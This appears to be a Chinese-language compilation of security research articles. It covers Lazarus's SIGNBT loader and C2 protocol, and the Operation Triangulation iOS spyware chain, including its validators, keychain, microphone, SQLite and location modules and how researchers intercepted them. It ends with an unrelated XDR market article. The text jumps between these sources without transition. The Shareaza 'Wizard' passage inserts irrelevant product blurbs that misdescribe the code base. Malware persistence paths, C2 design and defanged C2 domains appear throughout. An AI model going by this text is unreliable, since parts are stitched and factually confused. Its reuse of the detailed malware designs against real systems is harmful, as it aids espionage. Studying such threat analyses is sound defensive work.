SIGNBT加載程序在2023年7月中旬,研究人員發現了一系列針對幾名受害者的攻擊,這些攻擊是通過合法的安全軟件進行的,這些軟件旨在使用數字證書加密網絡通信。該軟件被利用來傳遞惡意軟件的確切方法仍然難以捉摸。然而,研究人員在正版軟件的進程中發現了利用後的活動。

在檢查受害者係統中受攻擊安全軟件的內存時,研究人員發現了帶有shellcode的SIGNBT惡意軟件的存在,這個shellcode負責直接在內存中啟動Windows可執行文件。

攻擊者使用各種策略在受攻擊系統上建立和維護持久性。這包括在系統文件夾中創建一個名為ualapi.dll的文件,該文件在每次系統引導時由spoolsv.exe進程自動加載。此外,在幾個樣本中,記錄了註冊表項以執行合法文件,以進行惡意的側加載,從而進一步確保了持久性攻擊機制。

2.png

加載最終有效負載方法

利用spoolsv.exe進程進行劫持是Lazarus的長期策略。每次重啟後自動加載ualapi.dll文件並不是這個攻擊者獨有的新技術,研究人員在過去看到過類似的策略被Gopuram惡意軟件使用。

惡意的ualapi.dll文件是使用名為Shareaza Torrent Wizard的公開源代碼開發的,shareaza是一款在國外評價極高並且相當流行的開放源代碼的p2p軟件(簡稱raza),Shareaza集合了edonkey、gnutella(1和2)和bt四種流行p2p網絡類型,並可以用於http下載,在以後的版本將會支持ftp下載,由於其優秀的界面(支持換膚)、簡潔的操作以及極強的可製定性,所以在國外廣為流傳,其評價已躍居所有p2p軟件的前5之列,並且許多p2p的下載站點已將其指定為bt的官方下載工具。

Wizard 是基於Laravel開發框架開發的一款開源項目(API)文檔管理工具。 目前支持三種類型的文檔管理Markdown。它遵循典型的Lazarus組織攻擊方法,利用公共源代碼作為基礎,並向其中註入特定的惡意功能。這個加載程序惡意軟件有一個程序來驗證受害者,它通過從Windows註冊表中讀取受害者的MachineGuid來查看其是否存在其中,然後將其與嵌入的MachineGuid值進行比較。為了訪問這個嵌入式MachineGuid值,惡意軟件定位序列“43 EB 8C BD 1D 98 3D 14”,並讀取緊隨其後的DWORD。只有當受害者的MachineGuid與預期的匹配時,惡意軟件才會進行下一步。然後,惡意軟件從硬編碼的文件路徑讀取有效負載並繼續其惡意活動。

1.有效負載路徑:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100a-a00-e14d9.tmp

加載程序進程從tw-100a-a00-e14d9.tmp中檢索前32個字節,並使用該數據作為AES解密密鑰來解密其餘內容。一旦解密,負載(標識為SIGNBT的Windows可執行文件)將直接加載到內存中。在這種情況下,加載的有效負載也從相同的路徑讀取配置文件,但文件名略有不同。

配置文件:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100b-a00-e14d9.tmp,

該文件內部是一個base64編碼的字符串,這與之前的SIGNBT惡意軟件方法中使用的方法類似。該字符串的前32個字符作為AES解密密鑰,後面的數據包含惡意軟件使用的配置信息。解密後的配置數據包括三個C2地址(稱為代理)、睡眠間隔、版本信息、監視的目標以及對惡意軟件操作至關重要的各種其他參數等詳細信息。

SIGNBT大多數SIGNBT惡意軟件樣本是通過惡意軟件加載程序啟動的,該加載程序只在內存中運行。在執行時,惡意軟件在初始化其配置數據後,通過發送信標開始與C2服務器通信。在其C2通信中,惡意軟件使用以SIGNBT開頭的獨特字符串。這一獨特的特點為它贏得了SIGNBT的稱號。此外,惡意軟件在其C2操作的每個階段使用不同的前綴來驗證和維護其活動。

3.png

惡意軟件採用多步驟過程來創建一個24字節的值,用於各種目的。首先,它通過以下組件生成這個值:

1.8字節的硬編碼值(SIGNBTLG):這是值的固定部分,用於驗證客戶端連接的合法性。

2.主機名MD5哈希的8個字節:包括受害者計算機名MD5哈希的前8個字節,有助於區分每個受害者。

3.隨機生成的8字節標識符:另外8字節隨機生成,可能用於會話標識符。

在創建了這個24字節的值之後,惡意軟件會生成另外24字節的隨機數據。然後使用另一個隨機生成的24字節密鑰將這兩組24字節組合在一起。隨後,結果值和24字節密鑰都用base64編碼。最後,將這些編碼值與三個或七個隨機生成的HTTP參數名組合在一起。在未來的所有C2通信中,惡意軟件使用類似的結構,這使得檢測和分析其通信更具挑戰性。

4.png

HTTP POST數據結構

惡意軟件使用一種機制來驗證從C2服務器接收到的響應數據。具體來說,它檢查響應數據是否包含硬編碼的HTML腳本。

5.png

在驗證過程中,惡意軟件使用base64解碼來自C2服務器的前12個字節,用加號替換空格以創建一個7個字符的字符串,然後對接下來的12個字節重複此過程。然後將每個集合中的前七個字符異或處理並與“success”字符串進行比較,此重複過程應用於每個HTTP通信序列,以驗證響應是否符合預期的“success”標準。

接下來,惡意軟件發送帶有SIGNBTKE頭的HTTP請求,如果它收到來自C2服務器的“success”消息,它會激活CCBrush類中的getInfo函數。該功能收集受害者計算機的各種信息,如計算機名稱、產品名稱、操作系統詳細信息、系統正常運行時間、CPU信息、系統區域設置、時區、網絡狀態和惡意軟件配置數據。在發送此特定於系統的信息之後,惡意軟件發送另一個帶有SIGNBTGC前綴的HTTP請求,這次使用從100個可能的參數名稱列表中隨機選擇的嵌入式HTTP參數。

6.png

使用AES和從SIGNBTLG HTTP請求獲得的解密密鑰對從C2服務器接收到的數據進行解密。如果解密的數據是“keep”,惡意軟件使用SIGNBTSR前綴響應“OK”消息,表示通信成功。如果存在問題,惡意軟件使用SIGNBTFI前綴來傳達問題或通信失敗的性質。綜上所述,C2通信過程可以描述如下:

7.png

C2通信過程

如果傳遞的數據不等於“keep”,表明需要特定的指令或操作,則惡意軟件繼續調用相應的類和函數進行後門攻擊,SIGNBT惡意軟件配備了一套廣泛的功能,旨在對受害者的系統施加控制。為了執行這些功能,惡意軟件以類名、函數名和任何必要參數的形式從C2服務器接收指令。然後,它執行嵌入在惡意軟件代碼庫中的相關功能。

8.png

每個後門命令的名稱都很簡單,實現了常用的Windows命令,如ping、netstat和systeminfo。需要注意的是,後門能夠為自動執行植入額外的有效負載,內部命名為“deploy”。這個後門函數通過使用AES解密的命令行參數接收文件路徑,使用這個命令,可以觀察到SIGNBT植入瞭如上所述的SIGNBT加載程序部分已經描述過的魔幻DLL。

經過分析,攻擊者最初對受害者的攻擊涉及利用軟件漏洞,然後,他們開始使用DLL側加載技術部署SIGNBT惡意軟件。此外,攻擊者使用後門功能“deploy”來為自動執行植入額外的有效負載。這種多方面的攻擊表明了攻擊的高度複雜程度。

LPEClient使用如上所述的綜合後門,攻擊者在受害者的內存中部署了額外的惡意軟件。值得注意的是,這些新發布的惡意軟件變體主要只在系統內存中執行,而不干擾磁盤。根據研究人員的追踪分析,他們已經觀察到攻擊者向受害者設備提供了LPEClient和憑據轉儲實用程序等工具。

9.png

SIGNBT提供的額外有效負載

LPEClient惡意軟件並不新鮮,最早是在2020年對國防承包商攻擊的調查中發現的,它旨在收集受害者信息並從遠程服務器下載額外的有效負載以在內存中運行。雖然之前已經有過報導,但最近的發現表明LPEClient已經發生了重大的迭代。它現在採用先進的技術來改進其隱身性並避免檢測,例如禁用用戶模式系統調用掛鉤和恢復系統庫內存部分。這表明攻擊者在不斷努力提高其惡意軟件的複雜性和有效性。

與其他攻擊活動的聯繫此次攻擊中使用的一種名為LPEClient的惡意軟件在最近被認為是Lazarus組織開發的表現最為突出的攻擊活動。這種特殊的惡意軟件一直作為初始攻擊載體,加速了有效負載的傳播。在很長一段時間裡,專門針對國防承包商和核工程師。

在最近的一次事件中,攻擊者通過木馬化的VNC或Putty客戶端發送LPEClient進行中間攻擊,從而攻擊目標。另一個針對加密貨幣行業的活動是在2023年7月發現的,在這個以經濟動機的攻擊活動中,攻擊者利用了與3CX供應鏈攻擊有關的Gopuram惡意軟件。有趣的是,在該樣本中,攻擊者還使用了LPEClient惡意軟件。在引入Gopuram集群之前,LPEClient被用於傳播後續的惡意軟件。這三個被認為是Lazarus在2023年發起的攻擊,說明了不同的初始攻擊載體和攻擊鏈,但它們始終依賴於LPEClient惡意軟件來傳遞最終的有效負載。

10.png

2023年Lazarus攻擊的三此活動的攻擊鏈

總結在當今的網絡安全領域,Lazarus組織仍然是一個高度活躍和多才多藝的攻擊者。攻擊者已經展示了對IT環境的深刻理解,改進了他們的策略,包括利用高知名度軟件中的漏洞,這種方法允許他們在初始攻擊完成後有效地傳播惡意軟件。此外,這個臭名昭著的攻擊者的活動超越了地理界限和行業部門,他們針對不同的行業有不同的目標,使用不同的工具、戰術和技術,這突出表明他們最近的活動具有復雜的方法和明確的動機。

APT_Apple_SL_Feat-1200x600.jpg

今年6月,卡巴斯基的研究者就發現有攻擊者利用iMessage來傳播惡意軟件,iOS 15.7以及此前版本均受到影響。研究人員通過mvt-ios(iOS 移動驗證工具包)分析受攻擊的設備之後,發現他們可以通過iMessage發送信息,受害者在接收到信息之後,不需要任何用戶交互,就能觸發系統內漏洞,從而執行任意惡意代碼。研究人員將這個攻擊活動稱為'Triangulation活動'。

加图1.png

Triangulation活動的首次公開報導請看這篇文章,正如研究人員在三角測量行動的第一篇文章中提到的,最初發現的受攻擊設備正是在莫斯科總部工作的卡巴斯基員工。所有這些設備都連接到公司的Wi-Fi網絡,這樣研究人員就可以記錄和檢查網絡流量。在花了一些時間調查Wireshark之後,研究人員最終發現了以下內容:

1.在表現出可疑行為之前,連接到iMessage服務器的設備通常負責接收信息和下載附件;

2.在下載了可能是附件的幾千字節數據後,這些設備建立了與服務器backuprabbit[.]com的連接,在不到一分鐘的時間內與服務器交換數據;

3.接下來,設備連接到以下服務器進行更長的會話:

cloudsponcer[.]com

snoweeanalytics[.]com

topographyupdates[.]com

unlimitedteacup[.]com、

virtuallaughing[.]com

4.設備重啟後,所有可疑活動都停止了;

所有與服務器的通信都是通過HTTPS進行的,所以研究人員無法從流量中恢復任何額外的細節。

設備映像由於所有的設備都觸手可及,研究人員下一步就是檢查它們的內容。不幸的是,研究時可用的取證採集軟件基於checkra1n和類似的漏洞,不適用於運行iOS 15和16的現代處理器。

檢查備份研究人員下一步決定使用設備的iTunes備份來代替完整的設備映像,這一程序必須在相當保密的情況下進行,以免提醒攻擊者。

由於研究人員不知道攻擊者的確切能力,只能默認他們在監聽設備的麥克風,閱讀電子郵件和即時通信對話。所以,研究人員不得不親自安排會議,把手機放在飛機模式下,有時放在法拉第包裡。研究人員使用libimobiledevice的優秀工具來獲取備份,並通過使用移動驗證工具包構建事件時間軸來檢查它們,該時間軸結合了文件系統時間戳和從各種系統數據庫中提取的數據記錄。研究人員專注於iMessage目錄,因為早在2021年,Citizen Lab的研究人員通過檢查這些目錄中的文件發現了FORCEDENTRY漏洞。

Triangulation活動背後的攻擊者非常隱蔽,研究人員在備份中沒有發現任何漏洞利用的跡象,他們還搜索了惡意軟件的可執行文件,但也沒有找到。

不過,研究人員還是發現了可疑網絡活動的時間戳。為此,他們開始尋找時間軸上發生在同一時間的重複事件。結果,研究人員發現了一個看起來像新指示器的東西,數據使用記錄提到了一個名為“BackupAgent”的系統進程,不過這個進程根本不應該被執行,因為二進製文件在幾年前就被棄用了。

1.png

在設備日誌中觀察到的來自BackupAgent進程的異常活動,研究人員在Triangulation 活動的第一篇文章中就分享過這個片段。

基於這個異常的發現,研究人員編寫了第一版的triangle_check工具,它使研究人員能夠快速確認設備的備份是否包含潛在攻擊的痕跡。

試圖攔截惡意iMessage進一步查看事件時間軸,研究人員發現了第二個痕跡,在BackupAgent進程使用數據之前,修改了一個空的SMS附件目錄。由於目錄被修改了,但不包含任何文件,這通常意味著可以高度肯定最後一個操作是文件刪除,有一個傳入的附件,它被刪除幾秒後,名為BackupAgent的進程正在運行可疑的網絡代碼。

由於Triangulation 活動背後的攻擊者似乎足夠聰明,可以從受攻擊的設備中刪除惡意附件,因此研究人員決定嘗試在iMessage傳遞過程中捕獲傳入消息。在尋找攔截imessage的方法時,研究人員發現了谷歌Project Zero團隊編寫的Frida腳本。它是為Mac電腦設計的,所以研究人員拿了一台備用的Mac mini,在上面安裝了Frida。然後,研究人員要求幾位目標同事用他們的蘋果id登錄Mac mini。這樣,研究人員能夠監控和攔截他們收到的imessage,接下來要做的就是等待攻擊者再次攻擊。

與此同時,研究人員積極監控SIEM日誌,尋找可疑活動的痕跡。很快,研究人員就發現了熟悉的網絡連接,這表明一款帶有iMessage帳戶的手機成功攻擊。然而,當我們檢查Mac mini上的iMessage攔截日誌時,卻沒有消息痕跡。因此,系統無法捕獲可能包含漏洞的消息,所以我們開始尋找其他方法來捕獲惡意軟件。

在通過Mac設備攔截iMessages的計劃失敗後,研究人員決定嘗試解密之前從流量分析中識別出的C2服務器的HTTPS通信。

為此,需要做到:

搭建Linux服務器,安裝HTTPS攔截工具mitmproxy;

在幾個已知被攻擊的iOS設備上安裝了根SSL證書(研究人員之前通過mitmproxy生成的);

在這些設備上安裝Wireguard VPN客戶端,並配置它們使用研究人員的mitmproxy實例作為VPN服務器。

研究人員還開發了一個Telegram機器人,當受監控的設備被攻擊時,它會通知研究人員:

2.jpg

不幸的是,這種方法不允許研究人員攔截蘋果服務(包括iMessage)的HTTPS流量,因為iOS為此實現了SSL綁定。因此,研究人員無法解密來自VPN的iMessage流量。

捕捉JavaScript驗證器一旦攻擊者再次攻擊了其中一個目標,研究人員查看了mitmproxy日誌,注意到它成功地解密了C2服務器的流量:

3.png

研究人員希望獲得的有效負載是iOS的漏洞。但是,它是JavaScript驗證器,它只是收集有關受害瀏覽器的信息並將其發送到C2服務器。

研究人員觀察到受攻擊的設備接收響應發送到C2服務器的驗證信息的有效負載。然而,雖然研究人員能夠攔截HTTPS流量,但無法解密它。這是因為JS驗證器使用NaCl庫為C2通信實現了自己的加密層,使用的加密算法基於公鑰加密。具體來說,為了與C2服務器通信,JS驗證器如下:

1.生成一個隨機密鑰對(由私鑰和公鑰組成);

2.從生成的私鑰和C2服務器的公鑰中派生共享密鑰;

3.使用此共享密鑰加密發送到C2服務器的消息並解密從C2服務器接收到的消息。

4.png

密鑰生成為了解密C2服務器通信,有必要知道由JS驗證器隨機生成的私鑰。但是,這個密鑰保存在內存中,不會被發送到C2服務器,所以研究人員必須做一些額外的工作來解密驗證器的流量。

如上圖所示,JS驗證器通過調用nacl.box.keyPair()方法生成一個隨機密鑰對。為了解密流量,研究人員編寫了一個很小的mitmproxy附加組件,用於查找對nacl.box.keyPair()方法的調用。然後用另一個方法nacl.box.keyPair.fromSecretKey()替換它們,該方法根據提供的私鑰初始化對。

5.png

從上圖中可以看出,研究人員將私鑰硬編碼到該方法的參數中,從而隱藏驗證器的加密方案。一旦在受攻擊的設備上執行了後門驗證器,就可以解密JS驗證器的所有通信。

二進制驗證器和關於附件的提示一旦攻擊者再次攻擊了其中一個目標,研究人員就能夠分析驗證器進一步執行的有效負載。結果發現它包含兩個漏洞:一個針對WebKit,另一個針對iOS內核。這兩個漏洞的最終目標是在目標設備上啟動二進制驗證器階段。

如上所述,二進制驗證器包含一個清除惡意iMessage痕蹟的函數。具體來說,研究人員發現這個函數向SMS.db數據庫發出以下SQL請求:

6.png

條件“uti==”com.apple.watchface“”給了我們另一個提示:現在很明顯,惡意附件是.watchface文件。因此,通過更多關於附件的信息,研究人員計劃並執行了獲取附件的下一次嘗試。

發送iMessage附件的過程為了設計另一種獲取附件的策略,研究人員決定更詳細地研究發送iMessage附件的過程。這個過程包括以下幾個步驟:

1.發送方生成一個隨機的AES密鑰並用它加密附件;

2.加密的附件被上傳到iCloud;

3.iCloud加密附件的鏈接與AES密鑰一起發送給收件人,AES密鑰使用設備的公共RSA密鑰進行額外加密。

因此,要獲取惡意附件文件,研究人員必須檢索兩個組件:

1.加密的附件;

2.用於加密的AES密鑰。

獲取加密的附件非常簡單,因為可以通過mitmproxy攔截到iCloud服務器的流量。之前,研究人員寫過iOS不允許解密蘋果服務的HTTPS流量,iCloud附件鏈接卻是一個例外。

同時,AES密鑰的獲取過程相當困難。它是通過iMessage協議發送的,因此不能通過mitmproxy進行攔截。不過,研究人員發現了一種恢復附件的方法,並通過對目標設備的物理訪問提取該密鑰。研究人員使用iCloud鏈接阻止iMessage成功下載附件,因此該漏洞不會激活然後刪除附件,但AES加密密鑰將存儲在SMS.db數據庫中。

研究人員決定使用mitmproxy附加組件更改加密附件中的幾個字節。這樣,研究人員中斷了下載加密附件的過程,解密密鑰保存在SMS.db數據庫中。然後,研究人員下載了受攻擊設備的iTunes備份,並從該備份中的數據庫中提取了密鑰。結果,研究人員獲得了攻擊者發送的惡意.watchface附件,這是用於使用漏洞利用鏈的開始。

植入過程在研究人員獲得攻擊者使用的漏洞之後,剩下的就是獲得植入程序了。二進制驗證器是負責從C2服務器下載和激活植入有效負載的組件,它使用RSA和AES的組合進行通信。同樣,使用RSA意味著僅使用加密流量是不可能解密植入有效負載的。

為了與C2服務器交換數據,二進制驗證器需要:

1.生成一個隨機的AES密鑰;

2.用驗證器配置中指定的服務器的RSA公鑰加密生成的AES密鑰;

3.使用生成的AES密鑰對要發送到C2服務器的消息進行加密;

4.向C2服務器發送加密消息,並接收C2服務器的響應;

5.使用用於加密發送消息的相同AES密鑰解密響應。

驗證器用以下ARM指令加密所有數據包:

7.png

這段代碼首先執行“serialized_plist”函數,該函數為發送準備數據。執行之後,寄存器X0指向準備發送到服務器的數據。

下一個要調用的函數是“encryptData”。它有兩個參數:一個指向正在加密的數據的指針被傳遞到X0寄存器,而X1寄存器包含一個帶有配置數據(包括加密參數)的pllist。在執行這個函數之後,X0寄存器包含一個指向加密附件的指針。

為了破壞加密過程來攔截來自受攻擊設備的數據。研究人員決定將對“encryptData”函數的調用替換為NOP指令(1f2003d5)。這樣,X0寄存器的值將不會被指向加密數據的指針覆蓋,並且驗證器將向研究人員的VPN服務器發送明文數據。

就像JavaScript驗證器的情況一樣,研究人員通過擴展mitmproxy插件來修補代碼:

8.png

使用NOP修補對encryptData函數調用的mitmproxy附加代碼片段

當明文數據到達研究人員的VPN服務器時,他們會再次通過mitmproxy附加組件模擬密鑰交換和數據加密,並控制加密密鑰的值。結果,研究人員成功地解密了C2服務器發送的數據,並提取了植入程序。

獲取模塊在對TriangleDB植入程序進行逆向工程後,研究人員發現它能夠執行輔助模塊,這讓研究人員想要獲得模塊二進製文件。在對植入的分析中,發現模塊可執行文件通過CRXUpdateRecord和CRXUpdateRunRecord命令傳遞給植入程序。因此,為了獲得這些可執行文件,必須能夠解密發送到C2服務器的所有命令。

同樣,加密算法是基於RSA的,所以研究人員的操作類似於獲取植入程序二進製文件的操作。

不過這一次,研究人員決定:

1.生成自己的RSA公鑰/私鑰對;

2.將植入配置中的RSA公鑰替換為先前生成的公鑰。

研究人員將以下代碼添加到mitmproxy插件中:

9.png

當植入流量到達研究人員的VPN服務器時:

1.用研究人員生成的RSA私鑰解密它;

2.保存解密後的流量;

3.使用攻擊者使用的公鑰對流量重新加密。

通過這種方式,研究人員能夠監控由植入程序執行的所有通信,並獲得模塊二進製文件。

總結研究人員調查Triangulation活動的過程相當漫長,總共花了幾個月的時間。儘管經歷了許多波折,研究人員最終還是設法獲得了這次攻擊中使用的所有階段,包括向蘋果報告的四個零日漏洞,兩個驗證器,一個植入程序及其模塊。

在此過程中,研究人員對iOS內部進行了大量研究,並提出了許多有趣的技術,例如研究人員用於提取iMessage附件的技術。研究人員在研究過程中遇到的主要困難是處理在攻擊鏈的每個階段都使用的公鑰加密。為了繞過加密,研究人員必須開發一個mitmproxy附加組件。

APT_Apple_SL_Feat-1200x600.jpg

在之前關於Triangulation的介紹文章中,研究人員討論了TriangleDB的細節,這是這次活動中使用的主要植入程序,使它的C2協議和它可以接收命令。除其他事項外,它還能夠執行其他模塊。另外,這次活動是相當隱蔽的。

本文詳細介紹了該活動是如何進行隱蔽攻擊的。在此過程中,研究人員還將揭示有關此攻擊中使用組件的更多信息。

驗證組件在之前的文章中,研究人員概述了Triangulation活動攻擊鏈:設備接收惡意iMessage附件,啟動一系列漏洞利用,其執行最終導致啟動TriangleDB植入。攻擊鏈可以用下圖來概括:

1.png

除了TriangleDB植入的漏洞和組件外,攻擊鏈還包含兩個“驗證器”階段,即“JavaScript驗證器”和“二進制驗證器”。這些驗證器收集有關受害設備的各種信息,並將其發送到C2服務器。然後,這些信息被用來評估植入TriangleDB的iPhone或iPad是否可以作為研究設備。通過執行這樣的檢查,攻擊者可以確保他們的零日漏洞和植入程序不會被阻止。

JavaScript驗證器在攻擊鏈的開始,受害者會收到帶有零點擊漏洞的不可見iMessage附件。此漏洞的最終目標是在backupabbit[.]com域上默默地打開一個唯一的URL。該URL上託管的HTML頁麵包含NaCl密碼庫的模糊JavaScript代碼,以及加密的有效負載。這個負載是JavaScript驗證器。該驗證程序執行許多不同的檢查,包括不同的算術運算,如Math.log(-1)或Math.sqrt(-1),Media Source API、WebAssembly等組件的可用性。

如上所述,它通過使用WebGL在粉色背景上繪製一個黃色triangle併計算其校驗和來執行一種名為Canvas Fingerprint的指紋技術:

2.png

繪製triangle的代碼

3.png

繪製的triangle

事實上,正是這個triangle,研究人員把整個活動稱為Triangulation活動。

運行驗證器後,它會對所有收集到的信息進行加密,並將其發送到backuplabbit[.]com上的另一個唯一URL,以便接收攻擊鏈的下一階段。

二進制驗證器正如從攻擊鏈圖中看到的,這個驗證器在部署TriangleDB植入程序之前啟動。 JavaScript驗證器是一個腳本,與之相反,這個驗證器是一個Mach-O二進製文件(因此得名binary Validator)。啟動時,它使用AES解密其配置。這個配置是一個plist:

4.png

此列表包含必須由驗證器執行的操作列表(如DeleteLogs、DeleteArtifacts等)。具體地說:

1.從/private/var/mobile/Library/logs /CrashReporter目錄中刪除可能在利用過程中創建的崩潰日誌;

2.在各種數據庫(如ids-pub-id.db或knowledgeec .db)中搜索惡意iMessage附件的痕跡,然後刪除它們。為了能夠做到這一點,驗證器的配置包含40個用於發送惡意imessage的Apple id的MD5哈希值。研究人員成功破解了大部分哈希值,從而獲得了攻擊者控制的蘋果ID電子郵件地址列表:

5.png

3.獲取在設備上運行的進程列表以及網絡接口列表;

4.檢查目標設備是否已越獄。驗證器實現了對各種越獄工具的檢查,如Pangu、xCon、Evasion7、Electra、unc0ver、checkra1n等;

5.打開個性化廣告跟踪;

6.收集有關受害者的廣泛信息,如用戶名,電話號碼,IMEI和蘋果ID;

7.檢索已安裝應用程序的列表。

有趣的是,驗證器在iOS和macOS系統上都實現了這些操作:

6.png

研究人員還發現,驗證器實現了一個未使用的操作,攻擊者將其稱為PSPDetect。

7.png

這個操作從驗證器的配置中檢索一個文件列表(對於研究人員分析的驗證器配置,這個列表是空的),檢查它們是否存在於文件系統中,並產生一個找到的文件列表作為輸出。

此操作名稱中的縮寫PSP可能意味著“個人安全產品(personal security product)”,或者更簡單地說,是一種安全解決方案。因此,有可能在macOS設備上啟動此操作,以檢測已安裝的殺毒軟件。

執行完所有這些操作後,驗證器加密並將獲得的數據(進程列表、用戶信息等)發送到C2服務器。作為響應,服務器返回研究人員之前描述過的TriangleDB植入。

在日誌中找到線索“Triangulation活動”背後的攻擊者不僅通過在攻擊鏈中引入兩個驗證者來進行隱形操作。事實上,他們對TriangleDB植入程序的所有操作都非常小心。這可以從研究人員對攻擊者通過該植入程序向受攻擊設備發送的命令的分析中觀察到。

在植入與C2服務器建立通信並發送指令之後,它從C2服務器接收多個CRXShowTables和CRXFetchRecord命令。這些命令與可能顯示攻擊鍊和惡意軟件本身痕蹟的日誌檢索有關。檢索到的一些文件有:

1.崩潰日誌(Crash log)文件(例如/var/mobile/Library/Logs/CrashReporter);

2.數據庫文件(例如/private/var/mobile/Library/IdentityServices/ids-gossip.db)。這些數據庫文件可能包含攻擊者用來發送惡意iMessage的Apple ID。

一旦攻擊者收到這些文件,他們就會把它們從設備上刪除,這樣受害者就無法檢查它們,也無法發現潛在的攻擊跡象。在完成日誌收集和刪除後,攻擊者向植入程序發送多個CRXPollRecords命令,指示它定期從/private/var/tmp目錄中洩漏文件。上傳到C2服務器的文件的名稱應符合下列正則表達式:

8.png

具有這些名稱的文件包含由模塊產生的執行結果。這些模塊通過CRXUpdateRecord和CRXRunRecord命令上傳到受攻擊的設備。

麥克風錄音最侵犯隱私的模塊之一是麥克風錄製模塊,其名稱為“msu3h”,研究人員認為3h代表三小時,默認錄製時間。在執行時,它會解密(使用源自GTA IV哈希的自定義算法)其配置,但只有當電池電量超過10%時,它才會執行進一步的操作。

配置文件本身包含典型的配置數據,例如記錄多長時間和用於加密記錄的AES加密密鑰,但也包含更具攻擊性的參數,例如:

1.suspendOnDeviceInUse:設置當設備屏幕打開時是否應該停止錄製;

2.syslogRelayOverride:設置捕獲系統日誌時是否錄製音頻。

錄音使用Audio Queue API,聲音塊使用Speex編解碼器進行壓縮,然後使用AES進行加密。除了聲音數據,每個錄音都包含診斷信息,它有一個四字節的類型標識符,可以是:

9.png

鑰匙串洩露由於未知的原因,攻擊者決定添加一個額外的鑰匙串洩露模塊,儘管這樣的功能已經存在於TriangleDB中。這個鑰匙串模塊與TriangleDB中的邏輯相同,但主要基於iphone-dataprotection.keychainviewer項目中的代碼。鑰匙串(英文:Keychain)是蘋果公司Mac OS中的密碼管理系統。它在MacOS 8.6中被導入,並且包括在了所有後續的Mac OS版本中,包括Mac OS X。一個鑰匙串可以包含多種類型的數據:密碼(包括網站,FTP服務器,SSH帳戶,網絡共享,無線網絡,群組軟件,加密磁盤鏡像等),私鑰,電子證書和加密筆記等。

SQLite竊取模塊iOS上的許多應用使用SQLite來存儲它們的內部數據。因此,攻擊者實現能夠從各種SQLite數據庫竊取數據的模塊也就不足為奇了。所有這些模塊都具有相同的代碼庫,並且包含要執行的不同SQL查詢。同樣,它們的配置是加密的。當它被解密時,只能找到標準變量,如文件路徑,AES密鑰,查詢字符串等。

這些模塊的代碼相當奇特,例如,攻擊者在fopen()函數周圍實現了一個包裝器,添加了Z標誌(表明創建的文件應該經過aes加密和zlib壓縮),並與標準w(寫)標誌結合使用,如下圖所示:

10.png

同樣有趣的是,SQLite竊取模塊包含針對不同iOS版本的三個代碼版本:低於8.0、介於8.0和9.0之間、9.0及更高版本。

研究人員找到的每個模塊執行不同的SQL數據庫查詢。例如,有一個模塊處理來自knowledgeec .db數據庫的應用程序使用數據。另一個模塊提取與照片相關的元數據,例如照片中是否有孩子,該人是男是女(見下圖),以及從媒體文件中自動生成的文本。

11.png

攻擊者對WhatsApp、SMS和Telegram的信息也表現出了興趣,這也不足為奇,因為研究人員也發現了竊取這些數據的模塊。

位置監控模塊這個模塊在一個單獨的線程中運行,並試圖模擬被授權使用配置中指定的位置服務的bundle(例如/System/Library/LocationBundles/Routine.bundle)。除了使用GPS確定位置外,它還使用GSM,通過CoreTelephony框架檢索MCC (MobileCountryCode), MNC (MobileNetworkCode), LAC (LocationAreaCode)和CID (CellID)值。

使用gsm相關數據的一個原因是在沒有GPS數據的情況下估計受害者的位置。

12.png

結論Triangulation活動背後的攻擊者非常小心地避免被發現。他們在攻擊鏈中引入了兩個驗證器,以確保漏洞和植入程序不會被傳遞給安全研究人員。此外,麥克風錄音可以調整為在屏幕被使用時停止。位置跟踪器模塊可能不使用標準的GPS功能,如果這是不可用的,而是使用來自GSM網絡的元數據。

攻擊者還表現出對iOS內部的深刻理解,因為他們在攻擊過程中使用了未記錄的私有api。它們還在一些模塊中實現了對8.0之前iOS版本的支持。回想一下,這些模塊在2015年之前被廣泛使用,這表明這些模塊的代碼已經被使用了多長時間。

另外,這次攻擊中使用的一些組件包含的代碼可能表明它們也針對macOS系統,儘管截至發布日期,在macOS設備上沒有遇到Triangulation活動痕跡。

儘管Triangulation活動是在高度隱蔽的情況下執行的,但研究人員仍然能夠提取出完整的攻擊鏈,以及植入程序和插件。如果你想知道研究人員是如何設法繞過攻擊者引入的所有保護措施的,請點擊此文。

如今,眾多攻擊者利用無惡意軟件的間諜技術實施無法檢測到的破壞,依靠合法的系統工具和寄生攻擊(LOTL)技術來滲入端點。無惡意軟件的攻擊有賴於用戶對合法工具的信任,很少生成唯一的特徵碼,並且依賴無文件執行。

在CrowdStrike追踪分析及其《2023年威胁狩猎报告》 闡述的所有惡意活動中,CrowdStrike威脅圖索引的檢測中有71%沒有惡意軟件。總共有14%的入侵事件依賴基於Falcon OverWatch跟踪的活動的遠程監控和管理(RMM)工具,攻擊者增加了使用RMM工具進行無惡意軟件攻擊的數量,同比增長了驚人的312%。

隨著FraudGPT標誌著武器化人工智能新時代開始到來,而企業面臨輸掉人工智能戰爭的風險。人工智能、機器學習和生成式人工智能整合到擴展檢測和響應(XDR)中就需要快速行動起來,以阻止無惡意軟件和人工智能帶來的新攻擊。

XDR提供了CISO們一直所需要的那種整合。

XDR改善了信噪比通過依賴在大規模整合的API和平台,XDR平台充分利用了每個可用的遙測數據源,以便實時檢測和響應潛在的入侵和破壞企圖。事實證明,這些平台能夠有效地減少網絡噪聲,並發現表明潛在入侵或攻擊的信號。

據Cynet 2022年對CISO開展的調查顯示,XDR對CISO們來說是一種有效的整合策略:96%的CISO計劃整合其安全平台,63%的CISO表示XDR是自己的首選解決方案。

幾乎所有接受調查的CISO都表示,整合工作已在他們的路線圖上,高於2021年的61%。 Gartner公司預測,到2027年年底,多達40%的企業將使用XDR來減少現有安全供應商的數量,而如今這個比例還不到5%。

所有XDR領導者都有一個特點,那就是他們的團隊中人工智能和機器學習方面的人才密度很高。領先的XDR平台提供商包括:博通、思科、CrowdStrike、飛塔、微軟、派拓網絡、SentinelOne、Sophos、TEHTRIS、趨勢科技和VMWare。

1.png

圖1. 圖片來源:CrowdStrike博文《XDR是什么?》

做好XDR:從端點入手端點是企圖大規模入侵的攻擊者秘密潛入的首選通道:在62%以上的時間裡,攻擊者使用竊取而來的身份訪問試圖獲取訪問權,並不斷微調間諜技術,以期找到身份和端點安全方面的缺口,這是端點最薄弱的環節。

保險、金融服務和銀行業的CISO告訴外媒,端點是需要保護的威脅面,面臨的挑戰最大。 IT團隊和安全團隊通常不知道自己有多少端點、每個端點在哪裡及其軟件物料清單(SBOM)。清理端點代理散亂問題和實現補丁管理自動化是許多CISO一開始想要實現的目標。

